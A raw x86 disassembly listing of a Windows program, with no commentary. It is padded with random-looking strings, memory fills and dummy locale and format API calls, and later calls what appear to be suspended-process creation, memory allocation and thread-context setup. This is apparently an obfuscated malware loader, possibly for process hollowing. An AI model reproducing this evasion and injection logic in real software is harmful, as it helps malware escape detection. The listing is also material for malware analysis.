mov eax, 0xbbbbbbbb
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1e7
mov eax, 0x47474747
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x407c35
dec ebx
jne 0x407c30
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov esi, 3
xor eax, eax
mov byte [ebp - 0x2fe4], 0
mov ecx, 0x19e
lea edi, [ebp - 0x2fe3]
rep stosd dword es:[edi], eax
push 0x67a
stosb byte es:[edi], al
lea eax, [ebp - 0x2fe4]
push eax
push 0xc
push 0x800
call ebx
dec esi
jne 0x407c82
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, dword [0x422088]
mov ecx, dword [str.Winohazuuuyiqian]
mov edx, dword [0x422084]
push str.Vycuyugi
push 0x5eca
push str._d_Qboubatag_Lef__s_Deaqf
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xbc], ecx
mov ecx, dword [0x42208c]
mov dword [ebp - 0xb8], edx
mov dl, byte [0x422090]
lea eax, [ebp - 0xbc]
push 0x10
push eax
mov dword [ebp - 0xb0], ecx
mov byte [ebp - 0xac], dl
call fcn.0040db84
add esp, 0x14
mov esi, 6
jmp 0x407d20
push 0x6b1
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x407d69
mov eax, 0x96969696
mov edi, edx
mov ecx, 0x183
rep stosd dword es:[edi], eax
mov edi, edx
mov ecx, 0xd8
mov eax, 0xf0f0f0f0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x184
mov eax, 0x10101010
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
dec esi
jne 0x407d20
push 0xbc25
mov ecx, 0x16
mov esi, str.Ieeueieiijgoruoeserekrjaidcokodbmsteyjageijoiawilsuypomivafuqaokfeupiolilaqoaudiljxatra
lea edi, [ebp - 0xf10]
push str._d_Ma_Oua
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0xf10]
push 0x57
push ecx
call fcn.0040db84
add esp, 0x10
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov word [ebp - 0x7bb4], 0
mov ebx, 3
nop
mov ecx, 0x79
mov esi, str.Zaojiuueeziokeiieooyievokirocioezezayiirqikefrgaeoeicamnafvigeuejochiinireagquceuloaleianolndhponpiucewiaueiwrvileveieguzoaotiwianqaseaihowjauricunofuoijxiawsvsnioiuahetfdanuiuoeoeqaoecoxivbpomhiawuhoemhumiusiiupiaooqkoaaosdirceeeaxpotsbhvutuouoomwbzxifmaawojgmafuxihugeatuvougaoiziqnoapowollqigoyieapougwuceeuviriyaromoamkefoeorexjiuviueeelurmeefemeuuoiceuoyoxqxosufjkeiudqenaohifcyebriogovzieturjzeeueooaeebuiibawmueiaiiomluliohjusowisodvovjoeuieraqtirmeqhyyzawufokearouveaeuepezuye
lea edi, [ebp - 0x1620]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
mov byte [ebp - 0xeb8], 0
mov ecx, 0x7a
lea edi, [ebp - 0xeb7]
rep stosd dword es:[edi], eax
push 0x1eb
lea edx, [ebp - 0xeb8]
push edx
push 0
stosw word es:[edi], ax
lea eax, [ebp - 0x1620]
push eax
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
dec ebx
mov dword [0x6e9a24], eax
jne 0x407db0
mov ecx, 0x17
mov esi, str.Miaedoikeglifufvmonllapatuwomobififuragpoiboiivojcouaeeihinaraezaahomonuroiuriouezuiheudnuva
lea edi, [ebp - 0xf70]
rep movsd dword es:[edi], dword [esi]
push 0x421da4
push str._s_Uoioiopodz
lea ecx, [ebp - 0xf70]
push 0x5c
push ecx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x10
push 0xe
lea edx, [ebp - 0x398]
push edx
push 0x13
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
push 1
mov ecx, 7
mov esi, str.Veokmekphufiy
lea edi, [ebp - 0x398]
push 0x800
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [0x6e9a14], eax
mov ebx, 3
lea esp, [esp]
push str.Nooc
push 0x6618
push 0x4c05
push 0x421d08
push str.Soojfeqem
push 0x421cf8
push str.Pjqvjuieza__s_Yhxbn__s_Sm__s_Reaudak__d_Jau__d_Dabwbe__s_X_Ppioguhsuq
lea eax, [ebp - 0x4d0]
push 0x5f
mov ecx, 0x18
mov esi, str.Eaawhoeuugzaateoliqtanhiqkuuvocuaboavbouxinajoseeenljitouelocxomveallaauvxnegaxukzsulaxdmoaemdf
lea edi, [ebp - 0x4d0]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040db84
add esp, 0x24
dec ebx
jne 0x407e70
mov eax, dword [0x421ca4]
mov ecx, dword [str.Cdokaiwenewezu]
mov edx, dword [0x421ca0]
push 0xf
push str.Awezlapbaeuaniiiteiiooqefeqbfozuuivetpyrnaakukvaluaovoqbneyaaeihduireciudlwxeevdkdsusoacloqiuajisssejuquuivulwjemecieaauaoztdumgcasiroiizaqtjzjenbaetaraonyuyatrqosqsbzaqnyrrucxifxodeiehecoryiooeasreszcjsinazisabttrrifuoipazohiyizoioliljnojisahrpoiiuaxetqmusuooixbexibxmobyeolisuokcuoeg
push 0xf
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], ecx
mov cx, word [0x421ca8]
mov dword [ebp - 0x84], edx
mov dl, byte [0x421caa]
push 1
push 0x800
mov word [ebp - 0x7c], cx
mov byte [ebp - 0x7a], dl
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [0x6e9a14], eax
push 0xe8
mov word [ebp - 0x215c], 0
xor eax, eax
mov ecx, 0x73
lea edi, [ebp - 0x215a]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x215c]
push ecx
push 0
push 0
push 2
push 0x800
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov ebx, 4
jmp 0x407f50
push 0xd778
push str.Ojox
push str.Kxua
push 0x22c5
push str.Daiyzumknt
push str.Sldwcipoew__s_Wnkaxamr__d_Qgaok_Kckfv__s_Aaueiou__s_Ateatugh__d_Vo
lea edx, [ebp - 0x37c]
push 0x19
mov ecx, 0xd
mov esi, str.Suomrauzuqzipcaagodosiyar
lea edi, [ebp - 0x37c]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.0040d97b
add esp, 0x20
dec ebx
jne 0x407f50
mov ecx, 7
mov esi, str.Hvvuvisavxoawi
lea edi, [ebp - 0x3d8]
rep movsd dword es:[edi], dword [esi]
push 0xb
push str.Fefjuaeedgkatgbxkeiasijenqkhaokaoekutplbmenstvwaboiolazaoejigoaonadodegopwvlxixewpfohoaiwutiiaaeepaiooxeewruhteaqefozwzobgjacozuhfuokpnhoeudthwobiuvqivaozoanaaehabuiicapraogotoapiimjkuvehuezsoiquoyeiubhkamsovgarieltukouweoreaikubagetepeugqogiwleixoeamewvsgdeioeejujauiiaqaudqajeiiraeieskumoacxiahpolubeiogakdbioacmcuouajeqkebeuanihiwetaaxaedeztcjburivptadiuxmiammjcumaitculbuxlucljooiuoroyublufbituoceufaoitevbionugicsyeeeaulifoxesieiovmooiaiholiaodedaoeeumaiueilaijqeeosevucauauabibewovailresauiousoqjgoykljsedpemdopnorcufieaiihexeuafaoemeiuineuzbludadsqaquwgukbuiaoiteeaageidejenufxbevozozfbeteuaeexouijeioisbivpaozunecoealonehineiacetaquyuc
xor eax, eax
push 0xf
mov dword [ebp - 0x7b9c], eax
lea ecx, [ebp - 0x3d8]
push ecx
mov dword [ebp - 0x7b98], eax
push 1
mov dword [ebp - 0x7b94], eax
push 0x800
mov dword [ebp - 0x7b90], eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_CompareStringW]
mov dword [0x6e9a24], eax
mov ecx, 0x7f
mov esi, str.Teluraeverooxsukniriuagizaoiqidwdafooqooquhuoetunwbokihgijyiredvmanicueimeaasuehmsualtoovufkgibebqkogihcahpifuyimeqeaikufpvgsokfuvxibumeriaizkhubpehmiroiuxumeiuiiifahguneixmudfbzqecoulnayouxgeugaouoljlufiqweokunefxoeaquuqotaaedocitvtieicazurfbacibkiufelkyuzaheeapuuetksafiimjokiejripkiqcodktukecalaeafkferolmaqjuyuiieofctpjujfinialpeogiroualifhotqotcmgjisaupquuteayodikwpajzcoponeeazaepniheranqzeliaklocexlaorhmrxavmuqyunehabiweoetisnhoaudyiedaoofadeodoizezhkbmeuxesvisuamboguaazimujubomaocmeuohueahoenwufwu
lea edi, [ebp - 0x1634]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov byte [ebp - 0xe50], 0
mov ecx, 0x5f
lea edi, [ebp - 0xe4f]
rep stosd dword es:[edi], eax
push 0x180
stosw word es:[edi], ax
lea edx, [ebp - 0xe50]
push edx
push 0
stosb byte es:[edi], al
lea eax, [ebp - 0x1634]
push eax
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push 0x3f0
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4080aa
mov edi, edx
mov ecx, 0x61
mov eax, 0xf6f6f6f6
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x11
mov eax, 0xbfbfbfbf
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x3e
mov eax, 0x9f9f9f9f
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xaf
mov eax, 0x22222222
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0xe6
mov eax, 0x35353535
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x1e
mov eax, 0xb2b2b2b2
rep stosd dword es:[edi], eax
push edx
stosw word es:[edi], ax
call fcn.0040d9eb
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x9387
push 0x3915
push str.Xgeiruk
mov ecx, 0x10
mov esi, str.Kalubabsouvokyqoaolhxytoztrsvuro
lea edi, [ebp - 0xa6c]
rep movsd dword es:[edi], dword [esi]
push 0x2f08
push str.Jufuuo
push 0x699
push str._d_Yeu__s_L__d_Wsqrmalouv__s_Sonopi_Vgideauqu__d_Yvbepasiia_Vap__d_Ymvnhe
lea ecx, [ebp - 0xa6c]
push 0x20
push ecx
mov dword [0x6e9a48], eax
movsw word es:[edi], word [esi]
call fcn.0040d97b
mov ecx, dword [ebp + 0x10]
add esp, 0x24
lea edx, [ebp - 0x7b9c]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x7be4]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push ecx
push edx
call dword [0x6e99a8]
test eax, eax
je 0x409d21
push 0x421888
push 0x421874
push 0x421870
push 0x993
push str.Lavuhoqiii
push 0x8c35
xor eax, eax
mov word [ebp - 0x9e8], 0
mov ecx, 0x16
lea edi, [ebp - 0x9e6]
push str._d_Sh_Fafeb__s_Laisrunj__d_Muko__s_Pele__s_Vmuoaebec_Kgiewaeeo__s_Jeor
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x9e8]
push 0x2c
push eax
call fcn.0040d97b
push 0x421788
push 0xef30
push 0x421784
push str.Ffierurxu
push 0x828c
push 0x2eda
mov ecx, 0xf
mov esi, str.Turoqabecoyofsoobieieuueqautheeevyiowenaeiyaauzohvaajuneccy
lea edi, [ebp - 0x98c]
push str._d_Ajesxi__d_Ufuk__s_Rojo_Nbqlior__s_Xeia_Mup__d_Mvoab_Srqmfu__s_Mpfigiqtct
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x98c]
push 0x3b
push ecx
call fcn.0040db84
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 0x48
push 0xfffffffffffffff4
call ebx
mov ecx, 0x10
mov esi, str.Dsehmebyeauiuheiriieoodaohnnbejozedegovinaulheiiwbufxiiaojbuapadro
lea edi, [ebp - 0xb18]
rep movsd dword es:[edi], dword [esi]
push 0xc7e1
push str.Kadi
push str.Ouuukoa
push 0x9269
push 0x9554
movsw word es:[edi], word [esi]
push str.Ydn__d_Xibuviae_U__d_A__s_Swhau_Vi_Ubowgeuau__s_Iaiu__d_Uarl_Ta
lea edx, [ebp - 0xb18]
push 0x42
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x20
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0x1de
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0xfffffffffffffff4
mov dword [0x6e9a30], eax
call ebx
push 0x9d2c
push 0x74c0
push 0xa1a6
mov ecx, 0x1b
mov esi, str.Wxtusivuoubowimpouvademaozuotatixxwogewahaqooepoqunyta
lea edi, [ebp - 0x738]
rep movsd dword es:[edi], dword [esi]
push 0x9cf1
push str.Mizadouar
push 0x326a
push str._d_Gau__s_Zkioaergaw_Ueezhon__d_Jhqngucug__d_Ka_Wuoudea__d_Leeysan__d_No_Suzb
lea eax, [ebp - 0x738]
push 0x36
push eax
movsw word es:[edi], word [esi]
call fcn.0040d97b
add esp, 0x24
push 4
push 0x1000
push 4
push 0
call dword [0x6e99d4]
mov dword [ebp - 0x7b8c], eax
xor eax, eax
push 0xcd
mov byte [ebp - 0x1438], 0
mov ecx, 0x33
lea edi, [ebp - 0x1437]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1438]
push ecx
push eax
push eax
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push str.Omadxa
push str.Mpea
xor edx, edx
push 0x2107
mov dword [ebp - 0x13], edx
push str._d_Fbealuyt_F__s_Uibqe_Aqkdiunbp__s_Euuh
mov dword [0x6e9a24], eax
mov dword [ebp - 0xf], edx
lea eax, [ebp - 0x14]
mov dword [ebp - 0xb], edx
push 0xd
push eax
mov byte [ebp - 0x14], 0
mov byte [ebp - 7], dl
call fcn.0040db84
add esp, 0x18
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0x111
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [0x6e9a20], eax
mov esi, 5
lea esp, [esp]
call edi
dec esi
mov dword [0x6e9a44], eax
jne 0x408310
push 0xdb
push str.Faeuvipeoocadrlebaeohajetgeaoovzjydioyerhubvoumigoeulacaseneoetkieniaitukiaoqiopioviqiqaqieoealifoaomebiflyeibtukiakeipoozwiaiauwieiuaenkoneatpiwjeomuaaaikezeokqireyuaotoaylepacocedirexaeueluixcimaaigeaqeseaqpamapegouoeolidpixeeheoecieuaudejllfcukbvojuunuexiceoeaieuuueihfeadognaskutaatfavouoaemfodpovztytaspuieihfheeedbauausoylaodyaekeeuuooaskiexomaliaigaaoreemtkmizrnoeavununukyvajuaoejzaqmobnoiecagilroabogaewheziaeseukaeeuhauifuwyepbuviezpoyezuaioovuduwvameuffyeeohzebhiinueoizwj
push 0
push 0
push 2
push 0x800
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0x5447
mov ecx, 0x37
mov esi, str.Fbesiixeuazokiiarilmkxhugdrifoheuiyaailehosiwesolwiukanueuwarueeloqraeqinoeetemuzzfasuxunuynbadipktbhaqideiih
lea edi, [ebp - 0x1adc]
push str._d_Izuxgonn
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1adc]
push 0x6d
push ecx
mov dword [0x6e9a24], eax
call fcn.0040d97b
mov ecx, 0x1b
mov esi, str.Kejumitraosiieuuguhqaibuawuknoruxuneidofxoouhdniwahigimvatqiemeqsotulpqecvaugaenruzokoeanauataeuqueesaueawkabz
lea edi, [ebp - 0x1048]
rep movsd dword es:[edi], dword [esi]
push str.Nozoxax
push str.Ceiutaro
movsw word es:[edi], word [esi]
push str._s_Uoxaxajgxy__s_Mbnleof_Xsiu
lea edx, [ebp - 0x1048]
push 0x6e
push edx
movsb byte es:[edi], byte [esi]
call fcn.0040db84
push 0x716a
push str.Yaieiivnue
push 0x1f9f
push 0xf8b1
push str.Yaio
push str.Pliigateq
xor eax, eax
mov word [ebp - 0x348], 0
mov ecx, 0x19
lea edi, [ebp - 0x346]
push str._s_Tfbpfeea_Zsfaxupsdk__s_X__d_Riiuve_Qbaqbexbki_Uui__d_Dae__s_Zohhoe__d_Hrrhca_Flapwoquyd_Qp
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x348]
push 0x32
push eax
call fcn.0040d97b
add esp, 0x48
mov ebx, 3
jmp 0x4083f0
mov ecx, 0x11
mov esi, str.Keeaeaeueieifpmklenugkroluehoeseeujawuiazaiyeyreauoovowpiifuquiymuzek
lea edi, [ebp - 0x114]
rep movsd dword es:[edi], dword [esi]
push 0xb0f5
push str.Leooxor
push str._s_Zuyaveku__d_Gybacola
lea ecx, [ebp - 0x114]
push 0x45
push ecx
movsw word es:[edi], word [esi]
call fcn.0040db84
add esp, 0x14
dec ebx
jne 0x4083f0
mov edx, dword [ebp - 0x7b8c]
push 0x1d6
mov dword [edx], 0x10007
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x40849f
mov edi, edx
mov ecx, 0x11
mov eax, 0x2b2b2b2b
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x30
mov eax, 0xb5b5b5b5
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x2b
mov eax, 0x11111111
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x50
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x14
mov eax, 0x9e9e9e9e
rep stosd dword es:[edi], eax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
push 0x350
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x4084eb
mov edi, edx
mov ecx, 0xe
mov eax, 0x34343434
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, edx
mov ecx, 0x4c
mov eax, 0x3a3a3a3a
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, edx
mov ecx, 0x3f
mov eax, 0xb8b8b8b8
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
stosb byte es:[edi], al
call fcn.0040d9eb
add esp, 4
mov ebx, 2
mov ecx, 0x18
mov esi, str.Famimuruuoseeuhazehiutreriwuxioroovugkrclakoqikafaoiwizdsibozhksiuposuweafolgukahumivqcuwuzaafpoqy
lea edi, [ebp - 0x4d0]
rep movsd dword es:[edi], dword [esi]
push 0xd4db
push str.Qiuucohui
push str.Mail
push str.Cauhpoe
movsw word es:[edi], word [esi]
push str._s_Coerfec__s_Uiougo__s_Ou__d_Nuayiuhaie_Eoiag
lea eax, [ebp - 0x4d0]
push 0x62
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040db84
add esp, 0x1c
dec ebx
jne 0x4084f0
mov dword [ebp - 0x7b84], 8
lea esp, [esp]
mov ebx, 9
jmp 0x408550
mov ecx, 0xd7
mov esi, str.Laoeeiioiapixtihreoyveuueouecegjaxwakauteuneiaviyuigvudqeoaobpimseloaqfeviaruonoeazeuoezyijkegjozqlugiureaponeaelelieuvotqtauebaitwuikuamoleuiaimiihvieiauziydipiokoebbememrmoseujxebijmuueoiouakbretieuxuuiunoihibopjooyiexbuqajiqetltowaxboigeyietcebeizkizeeixiiepobigeaoqinoewqapgoalaajbozerqpesoyopdtadbeooucfnbiaxqaiquzzegkuaazuueilomyoyosesuhauwkujoeaveeioosigwjbmudobkhawgoeeeliishafeiuyuhxicuejiuuzevvzicenyiabeqlagciqyiamunfnu
lea edi, [ebp - 0x1f70]
rep movsd dword es:[edi], dword [esi]
push 0x1d3
push str.Auaogessoviowornguoqynvoubfapibiiolaeueodikuifvuaaufxusapohuyeiarahpirhiybtafidqyipauooulortxiqajeuqdugarulemgozgeloeoiuehoejelueltikofiaaheduqegfeqaokuiowaioaewayyofmukabeaupfyupiheeztaqonapeewpooeviooeinkemuoxequziheoqhuxemzeakuvenajaoipatiojqodraepoofiayepecehovxumcajpkakubnesnozikwhahiivmudeuzaaewbareciousoqeximiibguxedmmoaueuxamiiipvkecihagaxoaqmopiiuveuiexmazeeoganlpunuooemtotasazitisqiihoaalictvefeweidqufheznahiqppukbiikeuadgretfzdzovionpefohusubenimoucozeesayiieifolsiwkooualpqoaaiyiawaplzuaoguuicopaqxioovueyeidoadiby
push 0
lea ecx, [ebp - 0x1f70]
push ecx
push 0
push 0x800
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
dec ebx
jne 0x408550
dec dword [ebp - 0x7b84]
jne 0x408540
mov edx, dword [str.Jfooiawiaedarueapa]
mov eax, dword [0x420e08]
mov ecx, dword [0x420e0c]
push 0x11
mov dword [ebp - 0x54], edx
mov edx, dword [0x420e10]
push str.Hoeueuouiifiufcetocbaobeuoouaibfzunukoqpleqehipahoralavuvsaomlzhqivnkaqadfmaaoaleagejgpzvevprhkukiiyhapjcioeqaoqcepvfjcutoexdexolguomehubaceaareqraayetiafgulauwhiguiewokoeanorgaokahetebetebvuebkxixacveevuiijgouthiijayyeaueseaqfeajonmaxooowaaowhreffumsucxriligleagofivukebixohamgenoihaevhisoolgiitiowugeoneoriutxocfboaihupshukelumupiucoupucogirouqaaeuigxubxohzieuuamisaoawemqkayekubocoevtaueawdxbakaeahajacinukeeeeamiurkamezbcofuceuujniieijimabenqhixoyaeozekunqyioeyfvojkeouiyopaburuuatacoiaoakwyezeuuvxtitvuufazueinevazkcuvioejokaciiacueyiucuiivehaaqvuueeowuviawkawooafisocezucsobjuleahfevaiataleeyyuugvohehioazesxmmqurguoaeaeaorecalaworubeqafierkieoiaaizaakxuueohqudlaoxineyibibztaiuqaaocevuiuzeoqoiseujragizqvadidizqgepeiugomkzejueduiaakigagahsoauaeokkeixybqvoeametaruoaeokyioyuaezowemiebxeievubofuajoareoumalvumvofjupfumaaajerikaoayxuzpalaivmirpowwuqiotceieuikehjvnooaiboiueofenoxhaiuapuamnogmyrdafvvoleeekixavfaaiijidozamietdottldhevuegwoqooiaojrzozoxisduaamauzijopusexegksihkr
push 0x13
mov dword [ebp - 0x48], edx
lea edx, [ebp - 0x54]
push edx
mov dword [ebp - 0x50], eax
mov ax, word [0x420e14]
mov dword [ebp - 0x4c], ecx
mov cl, byte [0x420e16]
push 1
push 0x800
mov word [ebp - 0x44], ax
mov byte [ebp - 0x42], cl
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x6e9a24], eax
call ebx
push 0x845b
xor eax, eax
push 0xdb5f
mov dword [ebp - 0x3b], eax
push 0xf57c
mov dword [ebp - 0x37], eax
push str.Utae__d_Xovajofl__d_Eainaao_Ra__d_Cout
mov dword [ebp - 0x33], eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x2f], eax
push 0x11
push ecx
mov byte [ebp - 0x3c], 0
mov byte [ebp - 0x2b], al
call fcn.0040db84
mov edx, dword [ebp - 0x7b8c]
mov eax, dword [ebp - 0x7b98]
add esp, 0x18
push edx
push eax
call dword [0x6e99d0]
test eax, eax
je 0x409d21
push str.Duaoganysu
xor eax, eax
mov byte [ebp - 0x738], 0
mov ecx, 0x1b
lea edi, [ebp - 0x737]
push str._s_Ke_Kaeuzui
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x738]
push 0x6c
push ecx
call fcn.0040db84
push str.Yhxroone
mov ecx, 0xe
mov esi, str.Geaveagjoujeaqogcaadeiuoauap
lea edi, [ebp - 0x8f8]
rep movsd dword es:[edi], dword [esi]
push str.Dbuig
push 0x957
push 0xbbbe
push str._d_Nowrfipp__d_Fbuopuhczs_Czoequj__s_Re_Wuc__s_Qqao_Preiy
lea edx, [ebp - 0x8f8]
push 0x1c
push edx
movsw word es:[edi], word [esi]
call fcn.0040d97b
mov ecx, dword [0x420ce0]
mov edx, dword [0x420ce4]
mov eax, dword [str.Auqbsomeeiroceo]
mov dword [ebp - 0xc8], ecx
mov ecx, dword [str.Niaalizuoamioiifra]
add esp, 0x2c
mov dword [ebp - 0xc4], edx
mov edx, dword [0x420ccc]
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x420cd4]
push 0x13
mov dword [ebp - 0x24], edx
mov dx, word [0x420cd8]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0xcc], eax
mov eax, dword [0x420ce8]
lea ecx, [ebp - 0x28]
push ecx
push 0x10
mov word [ebp - 0x18], dx
mov dword [ebp - 0xc0], eax
mov eax, dword [0x420cd0]
lea edx, [ebp - 0xcc]
push edx
mov dword [ebp - 0x20], eax
mov al, byte [0x420cda]
push 1
push 0x800
mov byte [ebp - 0x16], al
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0x2519
push 0x420c8c
mov ecx, 0xc
mov esi, str.Rjbuwidkaaaijtauueqiuupu
lea edi, [ebp - 0x7b0]
rep movsd dword es:[edi], dword [esi]
push str.Knaacafo
push str.Shdikewau
push str.Wdso
push str._s_Sif__s_Zifilouaoi_Iopvp_Miar__s_Raou__s_Mkuazoudb__d_Az
mov dword [0x6e9a14], eax
lea eax, [ebp - 0x7b0]
push 0x18
push eax
movsw word es:[edi], word [esi]
call fcn.0040d97b
mov ecx, 0x1f
mov esi, str.Mioeziliiabulaoabayuhiciwawxyunupcfifaauholuuoluralneozxaouaqulbceebabzajuuaxudjnusihiyemuzxiifodcwapoziiovarogofaqgwcyundojyi
lea edi, [ebp - 0x2dc]
rep movsd dword es:[edi], dword [esi]
push 0x6487
movsw word es:[edi], word [esi]
push 0x420b5c
push 0x7396
movsb byte es:[edi], byte [esi]
push 0xd05b
push str.Lueikoxz
push str._s_Rufitae_Shtjs__d_Humlbe_Mpva__d_Ieufvor_Kayyve__s_Pvgp__d_Zaxvu_Bbefuamnyu
lea ecx, [ebp - 0x2dc]
push 0x7e
push ecx
call fcn.0040db84
add esp, 0x40
call ebx
push 0x691
lea edx, [ebp - 0x7b7c]
push edx
mov dword [0x6e9a18], eax
push 0xc
xor eax, eax
mov word [ebp - 0x7b7c], 0
mov ecx, 0x348
lea edi, [ebp - 0x7b7a]
push 0x800
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0x23b
call fcn.0040db03
mov edx, eax
add esp, 4
test edx, edx
je 0x408849
mov edi, edx
mov ecx, 0x55
mov eax, 0xa7a7a7a7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, 0x20202020
mov edi, edx
mov ecx, 0x73
rep stosd dword es:[edi], eax
mov eax, 0x7c7c7c7c
mov edi, edx
mov ecx, 0x23
rep stosd dword es:[edi], eax
mov eax, 0x9f9f9f9f
mov edi, edx
mov ecx, 0x23
rep stosd dword es:[edi], eax
push edx
mov dword [edx], 0xcececece
call fcn.0040d9eb
add esp, 4
mov ecx, 0x1e
mov esi, str.Yenjxibjioyubeteaecoidzoaiubwukjilcojikodeteaisandooreyuaiviouokaeouhpruolmunebuuecowlruuuxaiuqeviaygotzpcdelioixamoeelavk
lea edi, [ebp - 0x82c]
